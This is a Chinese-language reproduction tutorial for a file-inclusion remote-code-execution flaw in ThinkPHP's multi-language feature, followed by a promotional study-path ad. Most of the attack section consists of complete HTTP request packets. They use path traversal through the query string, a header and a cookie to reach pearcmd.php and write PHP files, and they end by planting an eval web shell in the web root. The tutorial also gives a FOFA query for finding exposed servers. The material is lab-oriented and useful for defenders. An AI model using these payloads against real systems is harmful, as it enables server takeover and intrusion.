免責(zé)聲明
本文章只用于技術(shù)交流,若使用本文章提供的技術(shù)信息進(jìn)行非法操作,后果均由使用者本人負(fù)責(zé)。
漏洞描述:
ThinkPHP在開啟多語言功能的情況下存在文件包含漏洞,攻擊者可以通過get、header、cookie等位置傳入?yún)?shù),實現(xiàn)目錄穿越+文件包含,通過pearcmd文件包含這個trick即可實現(xiàn)RCE。
影響版本:
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
利用條件:
1、需要Thinkphp開啟多語言功能
2、安裝pear擴(kuò)展
3、知道pearcmd.php路徑
4、register_argc_argv=on
FOFA搜索語法:
header=“think_lang”
環(huán)境搭建:
服務(wù)器首先要有docker環(huán)境,沒有的可以先部署一個
1、docker直接拉取vulfocus 的thinkphp:6.0.12的漏洞環(huán)境鏡像:
docker pull vulfocus/thinkphp:6.0.12
2、啟動容器,將容器的80端口映射到本機(jī)的80端口
docker run --nametp123 -p80:80 -d鏡像id
瀏覽器訪問:ip+/public/index.php 如下圖則搭建成功:
漏洞復(fù)現(xiàn):
pearcmd.php這個文件的一些具體細(xì)節(jié)可以參考這篇文章
<https://www.leavesongs.com/PENETRATION/docker-php-include-
getshell.html#0x06-pearcmdphp>
進(jìn)入容器查看pearcmd.php路徑,執(zhí)行 ````
find / -name pearcmd.php 2>/dev/null
``
/usr/local/lib/php/pearcmd.php
EXP:
在/tmp/下生成hello.php
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close
進(jìn)入容器查看/tmp/hellp.php
包含hello.php
GET /public/index.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../tmp/hello
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
看看瀏覽器頁面成功執(zhí)行phpinfo:
GET:
直接利用p牛文章中的請求包,需要根據(jù)實際情況改變文件名稱,寫不進(jìn)去可以考慮多加點…/
創(chuàng)建文件
GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
進(jìn)入容器查看:
文件包含/tmp/1.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
再看看瀏覽器頁面,成功執(zhí)行phpinfo:
HEADER:
創(chuàng)建文件
GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/2.php HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
進(jìn)入容器查看:
文件包含/tmp/2.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/2 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
在看看瀏覽器頁面成功執(zhí)行phpinfo:
COOKIES:
創(chuàng)建文件
GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/3.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Connection: close
repeater發(fā)包:
進(jìn)入容器查看:
文件包含/tmp/3.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/3 HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
在看看瀏覽器頁面成功執(zhí)行phpinfo:
GETSHELL
于是我梅開二度決定寫入一個馬子試試:
這次我們直接寫到網(wǎng)站根目錄(注:phpinfo可以查看網(wǎng)站絕對路徑)
寫入文件
GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater發(fā)包:
瀏覽器訪問:
蟻劍成功連接:
最后
分享一個快速學(xué)習(xí)【網(wǎng)絡(luò)安全】的方法,「也許是」最全面的學(xué)習(xí)方法:
1、網(wǎng)絡(luò)安全理論知識(2天)
①了解行業(yè)相關(guān)背景,前景,確定發(fā)展方向。
②學(xué)習(xí)網(wǎng)絡(luò)安全相關(guān)法律法規(guī)。
③網(wǎng)絡(luò)安全運營的概念。
④等保簡介、等保規(guī)定、流程和規(guī)范。(非常重要)
2、滲透測試基礎(chǔ)(一周)
①滲透測試的流程、分類、標(biāo)準(zhǔn)
②信息收集技術(shù):主動/被動信息搜集、Nmap工具、Google Hacking
③漏洞掃描、漏洞利用、原理,利用方法、工具(MSF)、繞過IDS和反病毒偵察
④主機(jī)攻防演練:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系統(tǒng)基礎(chǔ)(一周)
①Windows系統(tǒng)常見功能和命令
②Kali Linux系統(tǒng)常見功能和命令
③操作系統(tǒng)安全(系統(tǒng)入侵排查/系統(tǒng)加固基礎(chǔ))
4、計算機(jī)網(wǎng)絡(luò)基礎(chǔ)(一周)
①計算機(jī)網(wǎng)絡(luò)基礎(chǔ)、協(xié)議和架構(gòu)
②網(wǎng)絡(luò)通信原理、OSI模型、數(shù)據(jù)轉(zhuǎn)發(fā)流程
③常見協(xié)議解析(HTTP、TCP/IP、ARP等)
④網(wǎng)絡(luò)攻擊技術(shù)與網(wǎng)絡(luò)安全防御技術(shù)
⑤Web漏洞原理與防御:主動/被動攻擊、DDOS攻擊、CVE漏洞復(fù)現(xiàn)
5、數(shù)據(jù)庫基礎(chǔ)操作(2天)
①數(shù)據(jù)庫基礎(chǔ)
②SQL語言基礎(chǔ)
③數(shù)據(jù)庫安全加固
6、Web滲透(1周)
①HTML、CSS和JavaScript簡介
②OWASP Top10
③Web漏洞掃描工具
④Web滲透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏掃等)
恭喜你,如果學(xué)到這里,你基本可以從事一份網(wǎng)絡(luò)安全相關(guān)的工作,比如滲透測試、Web 滲透、安全服務(wù)、安全分析等崗位;如果等保模塊學(xué)的好,還可以從事等保工程師。薪資區(qū)間6k-15k。
到此為止,大概1個月的時間。你已經(jīng)成為了一名“腳本小子”。那么你還想往下探索嗎?
想要入坑黑客&網(wǎng)絡(luò)安全的朋友,給大家準(zhǔn)備了一份:282G全網(wǎng)最全的網(wǎng)絡(luò)安全資料包免費領(lǐng)??!
掃下方二維碼,免費領(lǐng)取
有了這些基礎(chǔ),如果你要深入學(xué)習(xí),可以參考下方這個超詳細(xì)學(xué)習(xí)路線圖,按照這個路線學(xué)習(xí),完全夠支撐你成為一名優(yōu)秀的中高級網(wǎng)絡(luò)安全工程師:
高清學(xué)習(xí)路線圖或XMIND文件(點擊下載原文件)文章來源:http://www.zghlxwxcb.cn/news/detail-721150.html
還有一些學(xué)習(xí)中收集的視頻、文檔資源,有需要的可以自?。?/strong>
每個成長路線對應(yīng)板塊的配套視頻:
當(dāng)然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料&工具,并且已經(jīng)幫大家分好類了。
因篇幅有限,僅展示部分資料,需要的可以【掃下方二維碼免費領(lǐng)取】
文章來源地址http://www.zghlxwxcb.cn/news/detail-721150.html
到了這里,關(guān)于ThinkPHP多語言模塊文件包含RCE復(fù)現(xiàn)詳細(xì)教程的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!